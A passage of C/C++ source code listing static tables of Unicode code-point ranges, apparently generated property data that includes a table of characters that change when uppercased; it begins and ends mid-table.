0x1CE}, {0x1D0, 0x1D0}, {0x1D2, 0x1D2}, {0x1D4, 0x1D4}, {0x1D6, 0x1D6}, {0x1D8, 0x1D8}, {0x1DA, 0x1DA}, {0x1DC, 0x1DD}, {0x1DF, 0x1DF}, {0x1E1, 0x1E1}, {0x1E3, 0x1E3}, {0x1E5, 0x1E5}, {0x1E7, 0x1E7}, {0x1E9, 0x1E9}, {0x1EB, 0x1EB}, {0x1ED, 0x1ED}, {0x1EF, 0x1F1}, {0x1F3, 0x1F3}, {0x1F5, 0x1F5}, {0x1F9, 0x1F9}, {0x1FB, 0x1FB}, {0x1FD, 0x1FD}, {0x1FF, 0x1FF}, {0x201, 0x201}, {0x203, 0x203}, {0x205, 0x205}, {0x207, 0x207}, {0x209, 0x209}, {0x20B, 0x20B}, {0x20D, 0x20D}, {0x20F, 0x20F}, {0x211, 0x211}, {0x213, 0x213}, {0x215, 0x215}, {0x217, 0x217}, {0x219, 0x219}, {0x21B, 0x21B}, {0x21D, 0x21D}, {0x21F, 0x21F}, {0x223, 0x223}, {0x225, 0x225}, {0x227, 0x227}, {0x229, 0x229}, {0x22B, 0x22B}, {0x22D, 0x22D}, {0x22F, 0x22F}, {0x231, 0x231}, {0x233, 0x233}, {0x23C, 0x23C}, {0x23F, 0x240}, {0x242, 0x242}, {0x247, 0x247}, {0x249, 0x249}, {0x24B, 0x24B}, {0x24D, 0x24D}, {0x24F, 0x254}, {0x256, 0x257}, {0x259, 0x259}, {0x25B, 0x25C}, {0x260, 0x261}, {0x263, 0x266}, {0x268, 0x26C}, {0x26F, 0x26F}, {0x271, 0x272}, {0x275, 0x275}, {0x27D, 0x27D}, {0x280, 0x280}, {0x282, 0x283}, {0x287, 0x28C}, {0x292, 0x292}, {0x29D, 0x29E}, {0x345, 0x345}, {0x371, 0x371}, {0x373, 0x373}, {0x377, 0x377}, {0x37B, 0x37D}, {0x390, 0x390}, {0x3AC, 0x3CE}, {0x3D0, 0x3D1}, {0x3D5, 0x3D7}, {0x3D9, 0x3D9}, {0x3DB, 0x3DB}, {0x3DD, 0x3DD}, {0x3DF, 0x3DF}, {0x3E1, 0x3E1}, {0x3E3, 0x3E3}, {0x3E5, 0x3E5}, {0x3E7, 0x3E7}, {0x3E9, 0x3E9}, {0x3EB, 0x3EB}, {0x3ED, 0x3ED}, {0x3EF, 0x3F3}, {0x3F5, 0x3F5}, {0x3F8, 0x3F8}, {0x3FB, 0x3FB}, {0x430, 0x45F}, {0x461, 0x461}, {0x463, 0x463}, {0x465, 0x465}, {0x467, 0x467}, {0x469, 0x469}, {0x46B, 0x46B}, {0x46D, 0x46D}, {0x46F, 0x46F}, {0x471, 0x471}, {0x473, 0x473}, {0x475, 0x475}, {0x477, 0x477}, {0x479, 0x479}, {0x47B, 0x47B}, {0x47D, 0x47D}, {0x47F, 0x47F}, {0x481, 0x481}, {0x48B, 0x48B}, {0x48D, 0x48D}, {0x48F, 0x48F}, {0x491, 0x491}, {0x493, 0x493}, {0x495, 0x495}, {0x497, 0x497}, {0x499, 0x499}, {0x49B, 0x49B}, {0x49D, 0x49D}, {0x49F, 0x49F}, {0x4A1, 0x4A1}, {0x4A3, 0x4A3}, {0x4A5, 0x4A5}, {0x4A7, 0x4A7}, {0x4A9, 0x4A9}, {0x4AB, 0x4AB}, {0x4AD, 0x4AD}, {0x4AF, 0x4AF}, {0x4B1, 0x4B1}, {0x4B3, 0x4B3}, {0x4B5, 0x4B5}, {0x4B7, 0x4B7}, {0x4B9, 0x4B9}, {0x4BB, 0x4BB}, {0x4BD, 0x4BD}, {0x4BF, 0x4BF}, {0x4C2, 0x4C2}, {0x4C4, 0x4C4}, {0x4C6, 0x4C6}, {0x4C8, 0x4C8}, {0x4CA, 0x4CA}, {0x4CC, 0x4CC}, {0x4CE, 0x4CF}, {0x4D1, 0x4D1}, {0x4D3, 0x4D3}, {0x4D5, 0x4D5}, {0x4D7, 0x4D7}, {0x4D9, 0x4D9}, {0x4DB, 0x4DB}, {0x4DD, 0x4DD}, {0x4DF, 0x4DF}, {0x4E1, 0x4E1}, {0x4E3, 0x4E3}, {0x4E5, 0x4E5}, {0x4E7, 0x4E7}, {0x4E9, 0x4E9}, {0x4EB, 0x4EB}, {0x4ED, 0x4ED}, {0x4EF, 0x4EF}, {0x4F1, 0x4F1}, {0x4F3, 0x4F3}, {0x4F5, 0x4F5}, {0x4F7, 0x4F7}, {0x4F9, 0x4F9}, {0x4FB, 0x4FB}, {0x4FD, 0x4FD}, {0x4FF, 0x4FF}, {0x501, 0x501}, {0x503, 0x503}, {0x505, 0x505}, {0x507, 0x507}, {0x509, 0x509}, {0x50B, 0x50B}, {0x50D, 0x50D}, {0x50F, 0x50F}, {0x511, 0x511}, {0x513, 0x513}, {0x515, 0x515}, {0x517, 0x517}, {0x519, 0x519}, {0x51B, 0x51B}, {0x51D, 0x51D}, {0x51F, 0x51F}, {0x521, 0x521}, {0x523, 0x523}, {0x525, 0x525}, {0x527, 0x527}, {0x529, 0x529}, {0x52B, 0x52B}, {0x52D, 0x52D}, {0x52F, 0x52F}, {0x561, 0x587}, {0x13F8, 0x13FD}, {0x1C80, 0x1C88}, {0x1C8A, 0x1C8A}, {0x1D79, 0x1D79}, {0x1D7D, 0x1D7D}, {0x1D8E, 0x1D8E}, {0x1E01, 0x1E01}, {0x1E03, 0x1E03}, {0x1E05, 0x1E05}, {0x1E07, 0x1E07}, {0x1E09, 0x1E09}, {0x1E0B, 0x1E0B}, {0x1E0D, 0x1E0D}, {0x1E0F, 0x1E0F}, {0x1E11, 0x1E11}, {0x1E13, 0x1E13}, {0x1E15, 0x1E15}, {0x1E17, 0x1E17}, {0x1E19, 0x1E19}, {0x1E1B, 0x1E1B}, {0x1E1D, 0x1E1D}, {0x1E1F, 0x1E1F}, {0x1E21, 0x1E21}, {0x1E23, 0x1E23}, {0x1E25, 0x1E25}, {0x1E27, 0x1E27}, {0x1E29, 0x1E29}, {0x1E2B, 0x1E2B}, {0x1E2D, 0x1E2D}, {0x1E2F, 0x1E2F}, {0x1E31, 0x1E31}, {0x1E33, 0x1E33}, {0x1E35, 0x1E35}, {0x1E37, 0x1E37}, {0x1E39, 0x1E39}, {0x1E3B, 0x1E3B}, {0x1E3D, 0x1E3D}, {0x1E3F, 0x1E3F}, {0x1E41, 0x1E41}, {0x1E43, 0x1E43}, {0x1E45, 0x1E45}, {0x1E47, 0x1E47}, {0x1E49, 0x1E49}, {0x1E4B, 0x1E4B}, {0x1E4D, 0x1E4D}, {0x1E4F, 0x1E4F}, {0x1E51, 0x1E51}, {0x1E53, 0x1E53}, {0x1E55, 0x1E55}, {0x1E57, 0x1E57}, {0x1E59, 0x1E59}, {0x1E5B, 0x1E5B}, {0x1E5D, 0x1E5D}, {0x1E5F, 0x1E5F}, {0x1E61, 0x1E61}, {0x1E63, 0x1E63}, {0x1E65, 0x1E65}, {0x1E67, 0x1E67}, {0x1E69, 0x1E69}, {0x1E6B, 0x1E6B}, {0x1E6D, 0x1E6D}, {0x1E6F, 0x1E6F}, {0x1E71, 0x1E71}, {0x1E73, 0x1E73}, {0x1E75, 0x1E75}, {0x1E77, 0x1E77}, {0x1E79, 0x1E79}, {0x1E7B, 0x1E7B}, {0x1E7D, 0x1E7D}, {0x1E7F, 0x1E7F}, {0x1E81, 0x1E81}, {0x1E83, 0x1E83}, {0x1E85, 0x1E85}, {0x1E87, 0x1E87}, {0x1E89, 0x1E89}, {0x1E8B, 0x1E8B}, {0x1E8D, 0x1E8D}, {0x1E8F, 0x1E8F}, {0x1E91, 0x1E91}, {0x1E93, 0x1E93}, {0x1E95, 0x1E9B}, {0x1EA1, 0x1EA1}, {0x1EA3, 0x1EA3}, {0x1EA5, 0x1EA5}, {0x1EA7, 0x1EA7}, {0x1EA9, 0x1EA9}, {0x1EAB, 0x1EAB}, {0x1EAD, 0x1EAD}, {0x1EAF, 0x1EAF}, {0x1EB1, 0x1EB1}, {0x1EB3, 0x1EB3}, {0x1EB5, 0x1EB5}, {0x1EB7, 0x1EB7}, {0x1EB9, 0x1EB9}, {0x1EBB, 0x1EBB}, {0x1EBD, 0x1EBD}, {0x1EBF, 0x1EBF}, {0x1EC1, 0x1EC1}, {0x1EC3, 0x1EC3}, {0x1EC5, 0x1EC5}, {0x1EC7, 0x1EC7}, {0x1EC9, 0x1EC9}, {0x1ECB, 0x1ECB}, {0x1ECD, 0x1ECD}, {0x1ECF, 0x1ECF}, {0x1ED1, 0x1ED1}, {0x1ED3, 0x1ED3}, {0x1ED5, 0x1ED5}, {0x1ED7, 0x1ED7}, {0x1ED9, 0x1ED9}, {0x1EDB, 0x1EDB}, {0x1EDD, 0x1EDD}, {0x1EDF, 0x1EDF}, {0x1EE1, 0x1EE1}, {0x1EE3, 0x1EE3}, {0x1EE5, 0x1EE5}, {0x1EE7, 0x1EE7}, {0x1EE9, 0x1EE9}, {0x1EEB, 0x1EEB}, {0x1EED, 0x1EED}, {0x1EEF, 0x1EEF}, {0x1EF1, 0x1EF1}, {0x1EF3, 0x1EF3}, {0x1EF5, 0x1EF5}, {0x1EF7, 0x1EF7}, {0x1EF9, 0x1EF9}, {0x1EFB, 0x1EFB}, {0x1EFD, 0x1EFD}, {0x1EFF, 0x1F07}, {0x1F10, 0x1F15}, {0x1F20, 0x1F27}, {0x1F30, 0x1F37}, {0x1F40, 0x1F45}, {0x1F50, 0x1F57}, {0x1F60, 0x1F67}, {0x1F70, 0x1F7D}, {0x1F80, 0x1F87}, {0x1F90, 0x1F97}, {0x1FA0, 0x1FA7}, {0x1FB0, 0x1FB4}, {0x1FB6, 0x1FB7}, {0x1FBE, 0x1FBE}, {0x1FC2, 0x1FC4}, {0x1FC6, 0x1FC7}, {0x1FD0, 0x1FD3}, {0x1FD6, 0x1FD7}, {0x1FE0, 0x1FE7}, {0x1FF2, 0x1FF4}, {0x1FF6, 0x1FF7}, {0x214E, 0x214E}, {0x2170, 0x217F}, {0x2184, 0x2184}, {0x24D0, 0x24E9}, {0x2C30, 0x2C5F}, {0x2C61, 0x2C61}, {0x2C65, 0x2C66}, {0x2C68, 0x2C68}, {0x2C6A, 0x2C6A}, {0x2C6C, 0x2C6C}, {0x2C73, 0x2C73}, {0x2C76, 0x2C76}, {0x2C81, 0x2C81}, {0x2C83, 0x2C83}, {0x2C85, 0x2C85}, {0x2C87, 0x2C87}, {0x2C89, 0x2C89}, {0x2C8B, 0x2C8B}, {0x2C8D, 0x2C8D}, {0x2C8F, 0x2C8F}, {0x2C91, 0x2C91}, {0x2C93, 0x2C93}, {0x2C95, 0x2C95}, {0x2C97, 0x2C97}, {0x2C99, 0x2C99}, {0x2C9B, 0x2C9B}, {0x2C9D, 0x2C9D}, {0x2C9F, 0x2C9F}, {0x2CA1, 0x2CA1}, {0x2CA3, 0x2CA3}, {0x2CA5, 0x2CA5}, {0x2CA7, 0x2CA7}, {0x2CA9, 0x2CA9}, {0x2CAB, 0x2CAB}, {0x2CAD, 0x2CAD}, {0x2CAF, 0x2CAF}, {0x2CB1, 0x2CB1}, {0x2CB3, 0x2CB3}, {0x2CB5, 0x2CB5}, {0x2CB7, 0x2CB7}, {0x2CB9, 0x2CB9}, {0x2CBB, 0x2CBB}, {0x2CBD, 0x2CBD}, {0x2CBF, 0x2CBF}, {0x2CC1, 0x2CC1}, {0x2CC3, 0x2CC3}, {0x2CC5, 0x2CC5}, {0x2CC7, 0x2CC7}, {0x2CC9, 0x2CC9}, {0x2CCB, 0x2CCB}, {0x2CCD, 0x2CCD}, {0x2CCF, 0x2CCF}, {0x2CD1, 0x2CD1}, {0x2CD3, 0x2CD3}, {0x2CD5, 0x2CD5}, {0x2CD7, 0x2CD7}, {0x2CD9, 0x2CD9}, {0x2CDB, 0x2CDB}, {0x2CDD, 0x2CDD}, {0x2CDF, 0x2CDF}, {0x2CE1, 0x2CE1}, {0x2CE3, 0x2CE3}, {0x2CEC, 0x2CEC}, {0x2CEE, 0x2CEE}, {0x2CF3, 0x2CF3}, {0x2D00, 0x2D25}, {0x2D27, 0x2D27}, {0x2D2D, 0x2D2D}, {0xA641, 0xA641}, {0xA643, 0xA643}, {0xA645, 0xA645}, {0xA647, 0xA647}, {0xA649, 0xA649}, {0xA64B, 0xA64B}, {0xA64D, 0xA64D}, {0xA64F, 0xA64F}, {0xA651, 0xA651}, {0xA653, 0xA653}, {0xA655, 0xA655}, {0xA657, 0xA657}, {0xA659, 0xA659}, {0xA65B, 0xA65B}, {0xA65D, 0xA65D}, {0xA65F, 0xA65F}, {0xA661, 0xA661}, {0xA663, 0xA663}, {0xA665, 0xA665}, {0xA667, 0xA667}, {0xA669, 0xA669}, {0xA66B, 0xA66B}, {0xA66D, 0xA66D}, {0xA681, 0xA681}, {0xA683, 0xA683}, {0xA685, 0xA685}, {0xA687, 0xA687}, {0xA689, 0xA689}, {0xA68B, 0xA68B}, {0xA68D, 0xA68D}, {0xA68F, 0xA68F}, {0xA691, 0xA691}, {0xA693, 0xA693}, {0xA695, 0xA695}, {0xA697, 0xA697}, {0xA699, 0xA699}, {0xA69B, 0xA69B}, {0xA723, 0xA723}, {0xA725, 0xA725}, {0xA727, 0xA727}, {0xA729, 0xA729}, {0xA72B, 0xA72B}, {0xA72D, 0xA72D}, {0xA72F, 0xA72F}, {0xA733, 0xA733}, {0xA735, 0xA735}, {0xA737, 0xA737}, {0xA739, 0xA739}, {0xA73B, 0xA73B}, {0xA73D, 0xA73D}, {0xA73F, 0xA73F}, {0xA741, 0xA741}, {0xA743, 0xA743}, {0xA745, 0xA745}, {0xA747, 0xA747}, {0xA749, 0xA749}, {0xA74B, 0xA74B}, {0xA74D, 0xA74D}, {0xA74F, 0xA74F}, {0xA751, 0xA751}, {0xA753, 0xA753}, {0xA755, 0xA755}, {0xA757, 0xA757}, {0xA759, 0xA759}, {0xA75B, 0xA75B}, {0xA75D, 0xA75D}, {0xA75F, 0xA75F}, {0xA761, 0xA761}, {0xA763, 0xA763}, {0xA765, 0xA765}, {0xA767, 0xA767}, {0xA769, 0xA769}, {0xA76B, 0xA76B}, {0xA76D, 0xA76D}, {0xA76F, 0xA76F}, {0xA77A, 0xA77A}, {0xA77C, 0xA77C}, {0xA77F, 0xA77F}, {0xA781, 0xA781}, {0xA783, 0xA783}, {0xA785, 0xA785}, {0xA787, 0xA787}, {0xA78C, 0xA78C}, {0xA791, 0xA791}, {0xA793, 0xA794}, {0xA797, 0xA797}, {0xA799, 0xA799}, {0xA79B, 0xA79B}, {0xA79D, 0xA79D}, {0xA79F, 0xA79F}, {0xA7A1, 0xA7A1}, {0xA7A3, 0xA7A3}, {0xA7A5, 0xA7A5}, {0xA7A7, 0xA7A7}, {0xA7A9, 0xA7A9}, {0xA7B5, 0xA7B5}, {0xA7B7, 0xA7B7}, {0xA7B9, 0xA7B9}, {0xA7BB, 0xA7BB}, {0xA7BD, 0xA7BD}, {0xA7BF, 0xA7BF}, {0xA7C1, 0xA7C1}, {0xA7C3, 0xA7C3}, {0xA7C8, 0xA7C8}, {0xA7CA, 0xA7CA}, {0xA7CD, 0xA7CD}, {0xA7CF, 0xA7CF}, {0xA7D1, 0xA7D1}, {0xA7D3, 0xA7D3}, {0xA7D5, 0xA7D5}, {0xA7D7, 0xA7D7}, {0xA7D9, 0xA7D9}, {0xA7DB, 0xA7DB}, {0xA7F6, 0xA7F6}, {0xAB53, 0xAB53}, {0xAB70, 0xABBF}, {0xFB00, 0xFB06}, {0xFB13, 0xFB17}, {0xFF41, 0xFF5A}, {0x10428, 0x1044F}, {0x104D8, 0x104FB}, {0x10597, 0x105A1}, {0x105A3, 0x105B1}, {0x105B3, 0x105B9}, {0x105BB, 0x105BC}, {0x10CC0, 0x10CF2}, {0x10D70, 0x10D85}, {0x118C0, 0x118DF}, {0x16E60, 0x16E7F}, {0x16EBB, 0x16ED3}, {0x1E922, 0x1E943}, }; static const UnicodeRange kRanges_Changes_When_Uppercased[] = { {0x61, 0x7A}, {0xB5, 0xB5}, {0xDF, 0xF6}, {0xF8, 0xFF}, {0x101, 0x101}, {0x103, 0x103}, {0x105, 0x105}, {0x107, 0x107}, {0x109, 0x109}, {0x10B, 0x10B}, {0x10D, 0x10D}, {0x10F, 0x10F}, {0x111, 0x111}, {0x113, 0x113}, {0x115, 0x115}, {0x117, 0x117}, {0x119, 0x119}, {0x11B, 0x11B}, {0x11D, 0x11D}, {0x11F, 0x11F}, {0x121, 0x121}, {0x123, 0x123}, {0x125, 0x125}, {0x127, 0x127}, {0x129, 0x129}, {0x12B, 0x12B}, {0x12D, 0x12D}, {0x12F, 0x12F}, {0x131, 0x131}, {0x133, 0x133}, {0x135, 0x135}, {0x137, 0x137}, {0x13A, 0x13A}, {0x13C, 0x13C}, {0x13E, 0x13E}, {0x140, 0x140}, {0x142, 0x142}, {0x144, 0x144}, {0x146, 0x146}, {0x148, 0x149}, {0x14B, 0x14B}, {0x14D, 0x14D}, {0x14F, 0x14F}, {0x151, 0x151}, {0x153, 0x153}, {0x155, 0x155}, {0x157, 0x157}, {0x159, 0x159}, {0x15B, 0x15B}, {0x15D, 0x15D}, {0x15F, 0x15F}, {0x161, 0x161}, {0x163, 0x163}, {0x165, 0x165}, {0x167, 0x167}, {0x169, 0x169}, {0x16B, 0x16B}, {0x16D, 0x16D}, {0x16F, 0x16F}, {0x171, 0x171}, {0x173, 0x173}, {0x175, 0x175}, {0x177, 0x177}, {0x17A, 0x17A}, {0x17C, 0x17C}, {0x17E, 0x180}, {0x183, 0x183}, {0x185, 0x185}, {0x188, 0x188}, {0x18C, 0x18C}, {0x192, 0x192}, {0x195, 0x195}, {0x199, 0x19B}, {0x19E, 0x19E}, {0x1A1, 0x1A1}, {0x1A3, 0x1A3}, {0x1A5, 0x1A5}, {0x1A8, 0x1A8}, {0x1AD, 0x1AD}, {0x1B0, 0x1B0}, {0x1B4, 0x1B4}, {0x1B6, 0x1B6}, {0x1B9, 0x1B9}, {0x1BD, 0x1BD}, {0x1BF, 0x1BF}, {0x1C5, 0x1C6}, {0x1C8, 0x1C9}, {0x1CB, 0x1CC}, {0x1CE, 0x1CE}, {0x1D0, 0x1D0}, {0x1D2, 0x1D2}, {0x1D4, 0x1D4}, {0x1D6, 0x1D6}, {0x1D8, 0x1D8}, {0x1DA, 0x1DA}, {0x1DC, 0x1DD}, {0x1DF, 0x1DF}, {0x1E1, 0x1E1}, {0x1E3, 0x1E3}, {0x1E5, 0x1E5}, {0x1E7, 0x1E7}, {0x1E9, 0x1E9}, {0x1EB, 0x1EB}, {0x1ED, 0x1ED}, {0x1EF, 0x1F0}, {0x1F2, 0x1F3}, {0x1F5, 0x1F5}, {0x1F9, 0x1F9}, {0x1FB, 0x1FB}, {0x1FD, 0x1FD}, {0x1FF, 0x1FF}, {0x201, 0x201}, {0x203, 0x203}, {0x205, 0x205}, {0x207, 0x207}, {0x209, 0x209}, {0x20B, 0x20B}, {0x20D, 0x20D}, {0x20F, 0x20F}, {0x211, 0x211}, {0x213, 0x213}, {0x215, 0x215}, {0x217, 0x217}, {0x219, 0x219}, {0x21B, 0x21B}, {0x21D, 0x21D}, {0x21F, 0x21F}, {0x223, 0x223}, {0x225, 0x225}, {0x227, 0x227}, {0x229, 0x229}, {0x22B, 0x22B}, {0x22D, 0x22D}, {0x22F, 0x22F}, {0x231, 0x231}, {0x233, 0x233}, {0x23C, 0x23C}, {0x23F, 0x240}, {0x242, 0x242}, {0x247, 0x247}, {0x249, 0x249}, {0x24B, 0x24B}, {0x24D, 0x24D}, {0x24F, 0x254}, {0x256, 0x257}, {0x259, 0x259}, {0x25B, 0x25C}, {0x260, 0x261}, {0x263, 0x266}, {0x268, 0x26C}, {0x26F, 0x26F}, {0x271, 0x272}, {0x275, 0x275}, {0x27D, 0x27D}, {0x280, 0x280}, {0x282, 0x283}, {0x287, 0x28C}, {0x292, 0x292}, {0x29D, 0x29E}, {0x345, 0x345}, {0x371, 0x371}, {0x373, 0x373}, {0x377, 0x377}, {0x37B, 0x37D}, {0x390, 0x390}, {0x3AC, 0x3CE}, {0x3D0, 0x3D1}, {0x3D5, 0x3D7}, {0x3D9, 0x3D9}, {0x3DB, 0x3DB}, {0x3DD, 0x3DD}, {0x3DF, 0x3DF}, {0x3E1, 0x3E1}, {0x3E3, 0x3E3}, {0x3E5, 0x3E5}, {0x3E7, 0x3E7}, {0x3E9, 0x3E9}, {0x3EB, 0x3EB}, {0x3ED, 0x3ED}, {0x3EF, 0x3F3}, {0x3F5, 0x3F5}, {0x3F8, 0x3F8}, {0x3FB, 0x3FB}, {0x430, 0x45F}, {0x461, 0x461}, {0x463, 0x463}, {0x465, 0x465}, {0x467, 0x467}, {0x469, 0x469}, {0x46B, 0x46B}, {0x46D, 0x46D}, {0x46F, 0x46F}, {0x471, 0x471}, {0x473, 0x473}, {0x475, 0x475}, {0x477, 0x477}, {0x479, 0x479}, {0x47B, 0x47B}, {0x47D, 0x47D}, {0x47F, 0x47F}, {0x481, 0x481}, {0x48B, 0x48B}, {0x48D, 0x48D}, {0x48F, 0x48F}, {0x491, 0x491}, {0x493, 0x493}, {0x495, 0x495}, {0x497, 0x497}, {0x499, 0x499}, {0x49B, 0x49B}, {0x49D, 0x49D}, {0x49F, 0x49F}, {0x4A1, 0x4A1}, {0x4A3, 0x4A3}, {0x4A5, 0x4A5}, {0x4A7, 0x4A7}, {0x4A9, 0x4A9}, {0x4AB, 0x4AB}, {0x4AD, 0x4AD}, {0x4AF, 0x4AF}, {0x4B1, 0x4B1}, {0x4B3, 0x4B3}, {0x4B5, 0x4B5}, {0x4B7, 0x4B7}, {0x4B9, 0x4B9}, {0x4BB, 0x4BB}, {0x4BD, 0x4BD}, {0x4BF, 0x4BF}, {0x4C2, 0x4C2}, {0x4C4, 0x4C4}, {0x4C6, 0x4C6}, {0x4C8, 0x4C8}, {0x4CA, 0x4CA}, {0x4CC, 0x4CC}, {0x4CE, 0x4CF}, {0x4D1, 0x4D1}, {0x4D3, 0x4D3}, {0x4D5, 0x4D5}, {0x4D7, 0x4D7}, {0x4D9, 0x4D9}, {0x4DB, 0x4DB}, {0x4DD, 0x4DD}, {0x4DF, 0x4DF}, {0x4E1, 0x4E1}, {0x4E3, 0x4E3}, {0x4E5, 0x4E5}, {0x4E7, 0x4E7}, {0x4E9, 0x4E9}, {0x4EB, 0x4EB}, {0x4ED, 0x4ED}, {0x4EF, 0x4EF}, {0x4F1, 0x4F1}, {0x4F3, 0x4F3}, {0x4F5, 0x4F5}, {0x4F7, 0x4F7}, {0x4F9, 0x4F9}, {0x4FB, 0x4FB}, {0x4FD, 0x4FD}, {0x4FF, 0x4FF}, {0x501, 0x501}, {0x503, 0x503}, {0x505, 0x505}, {0x507, 0x507}, {0x509, 0x509}, {0x50B, 0x50B}, {0x50D, 0x50D}, {0x50F, 0x50F}, {0x511, 0x511}, {0x513, 0x513}, {0x515, 0x515}, {0x517, 0x517}, {0x519, 0x519}, {0x51B, 0x51B}, {0x51D, 0x51D}, {0x51F, 0x51F}, {0x521, 0x521}, {0x523, 0x523}, {0x525, 0x525}, {0x527, 0x527}, {0x529, 0x529}, {0x52B, 0x52B}, {0x52D, 0x52D}, {0x52F, 0x52F}, {0x561, 0x587}, {0x10D0, 0x10FA}, {0x10FD, 0x10FF}, {0x13F8, 0x13FD}, {0x1C80, 0x1C88}, {0x1C8A, 0x1C8A}, {0x1D79, 0x1D79}, {0x1D7D, 0x1D7D}, {0x1D8E, 0x1D8E}, {0x1E01, 0x1E01}, {0x1E03, 0x1E03}, {0x1E05, 0x1E05}, {0x1E07, 0x1E07}, {0x1E09, 0x1E09}, {0x1E0B, 0x1E0B}, {0x1E0D, 0x1E0D}, {0x1E0F, 0x1E0F}, {0x1E11, 0x1E11}, {0x1E13, 0x1E13}, {0x1E15, 0x1E15}, {0x1E17, 0x1E17}, {0x1E19, 0x1E19}, {0x1E1B, 0x1E1B}, {0x1E1D, 0x1E1D}, {0x1E1F, 0x1E1F}, {0x1E21, 0x1E21}, {0x1E23, 0x1E23}, {0x1E25, 0x1E25}, {0x1E27, 0x1E27}, {0x1E29, 0x1E29}, {0x1E2B, 0x1E2B}, {0x1E2D, 0x1E2D}, {0x1E2F, 0x1E2F}, {0x1E31, 0x1E31}, {0x1E33, 0x1E33}, {0x1E35, 0x1E35}, {0x1E37, 0x1E37}, {0x1E39, 0x1E39}, {0x1E3B, 0x1E3B}, {0x1E3D, 0x1E3D}, {0x1E3F, 0x1E3F}, {0x1E41, 0x1E41}, {0x1E43, 0x1E43}, {0x1E45, 0x1E45}, {0x1E47, 0x1E47}, {0x1E49, 0x1E49}, {0x1E4B, 0x1E4B}, {0x1E4D, 0x1E4D}, {0x1E4F, 0x1E4F}, {0x1E51, 0x1E51}, {0x1E53, 0x1E53}, {0x1E55, 0x1E55}, {0x1E57, 0x1E57}, {0x1E59, 0x1E59}, {0x1E5B, 0x1E5B}, {0x1E5D, 0x1E5D}, {0x1E5F, 0x1E5F}, {0x1E61, 0x1E61}, {0x1E63, 0x1E63}, {0x1E65, 0x1E65}, {0x1E67, 0x1E67}, {0x1E69, 0x1E69}, {0x1E6B, 0x1E6B}, {0x1E6D, 0x1E6D}, {0x1E6F, 0x1E6F}, {0x1E71, 0x1E71}, {0x1E73, 0x1E73}, {0x1E75, 0x1E75}, {0x1E77, 0x1E77}, {0x1E79, 0x1E79}, {0x1E7B, 0x1E7B}, {0x1E7D, 0x1E7D}, {0x1E7F, 0x1E7F}, {0x1E81, 0x1E81}, {0x1E83, 0x1E83}, {0x1E85, 0x1E85}, {0x1E87, 0x1E87}, {0x1E89, 0x1E89}, {0x1E8B, 0x1E8B}, {0x1E8D, 0x1E8D}, {0x1E8F, 0x1E8F}, {0x1E91, 0x1E91}, {0x1E93, 0x1E93}, {0x1E95, 0x1E9B}, {0x1EA1, 0x1EA1}, {0x1EA3, 0x1EA3}, {0x1EA5, 0x1EA5}, {0x1EA7, 0x1EA7}, {0x1EA9, 0x1EA9}, {0x1EAB, 0x1EAB}, {0x1EAD, 0x1EAD}, {0x1EAF, 0x1EAF}, {0x1EB1, 0x1EB1}, {0x1EB3, 0x1EB3}, {0x1EB5, 0x1EB5}, {0x1EB7, 0x1EB7}, {0x1EB9, 0x1EB9}, {0x1EBB, 0x1EBB}, {0x1EBD, 0x1EBD}, {0x1EBF, 0x1EBF}, {0x1EC1, 0x1EC1}, {0x1EC3, 0x1EC3}, {0x1EC5, 0x1EC5}, {0x1EC7, 0x1EC7}, {0x1EC9, 0x1EC9}, {0x1ECB, 0x1ECB}, {0x1ECD, 0x1ECD}, {0x1ECF, 0x1ECF}, {0x1ED1, 0x1ED1}, {0x1ED3, 0x1ED3}, {0x1ED5, 0x1ED5}, {0x1ED7, 0x1ED7}, {0x1ED9, 0x1ED9}, {0x1EDB, 0x1EDB}, {0x1EDD, 0x1EDD}, {0x1EDF, 0x1EDF}, {0x1EE1, 0x1EE1}, {0x1EE3, 0x1EE3}, {0x1EE5, 0x1EE5}, {0x1EE7, 0x1EE7}, {0x1EE9, 0x1EE9}, {0x1EEB, 0x1EEB}, {0x1EED, 0x1EED}, {0x1EEF, 0x1EEF}, {0x1EF1, 0x1EF1}, {0x1EF3, 0x1EF3}, {0x1EF5, 0x1EF5}, {0x1EF7, 0x1EF7}, {0x1EF9, 0x1EF9}, {0x1EFB, 0x1EFB}, {0x1EFD, 0x1EFD}, {0x1EFF, 0x1F07}, {0x1F10, 0x1F15}, {0x1F20, 0x1F27}, {0x1F30, 0x1F37}, {0x1F40, 0x1F45}, {0x1F50, 0x1F57}, {0x1F60, 0x1F67}, {0x1F70, 0x1F7D}, {0x1F80, 0x1FB4}, {0x1FB6, 0x1FB7}, {0x1FBC, 0x1FBC}, {0x1FBE, 0x1FBE}, {0x1FC2, 0x1FC4}, {0x1FC6, 0x1FC7}, {0x1FCC, 0x1FCC}, {0x1FD0, 0x1FD3}, {0x1FD6, 0x1FD7}, {0x1FE0, 0x1FE7}, {0x1FF2, 0x1FF4}, {0x1FF6, 0x1FF7}, {0x1FFC, 0x1FFC}, {0x214E, 0x214E}, {0x2170, 0x217F}, {0x2184, 0x2184}, {0x24D0, 0x24E9}, {0x2C30, 0x2C5F}, {0x2C61, 0x2C61}, {0x2C65, 0x2C66}, {0x2C68, 0x2C68}, {0x2C6A, 0x2C6A}, {0x2C6C, 0x2C6C}, {0x2C73, 0x2C73}, {0x2C76, 0x2C76}, {0x2C81, 0x2C81}, {0x2C83, 0x2C83}, {0x2C85, 0x2C85}, {0x2C87, 0x2C87}, {0x2C89, 0x2C89}, {0x2C8B, 0x2C8B}, {0x2C8D, 0x2C8D}, {0x2C8F, 0x2C8F}, {0x2C91, 0x2C91}, {0x2C93, 0x2C93}, {0x2C95, 0x2C95}, {0x2C97, 0x2C97}, {0x2C99, 0x2C99}, {0x2C9B, 0x2C9B}, {0x2C9D, 0x2C9D}, {0x2C9F, 0x2C9F}, {0x2CA1, 0x2CA1}, {0x2CA3, 0x2CA3}, {0x2CA5, 0x2CA5}, {0x2CA7, 0x2CA7}, {0x2CA9, 0x2CA9}, {0x2CAB, 0x2CAB}, {0x2CAD, 0x2CAD}, {0x2CAF, 0x2CAF}, {0x2CB1, 0x2CB1}, {0x2CB3, 0x2CB3}, {0x2CB5, 0x2CB5}, {0x2CB7, 0x2CB7}, {0x2CB9, 0x2CB9}, {0x2CBB, 0x2CBB}, {0x2CBD, 0x2CBD}, {0x2CBF, 0x2CBF}, {0x2CC1, 0x2CC1}, {0x2CC3, 0x2CC3}, {0x2CC5, 0x2CC5}, {0x2CC7, 0x2CC7}, {0x2CC9, 0x2CC9}, {0x2CCB, 0x2CCB}, {0x2CCD, 0x2CCD}, {0x2CCF, 0x2CCF}, 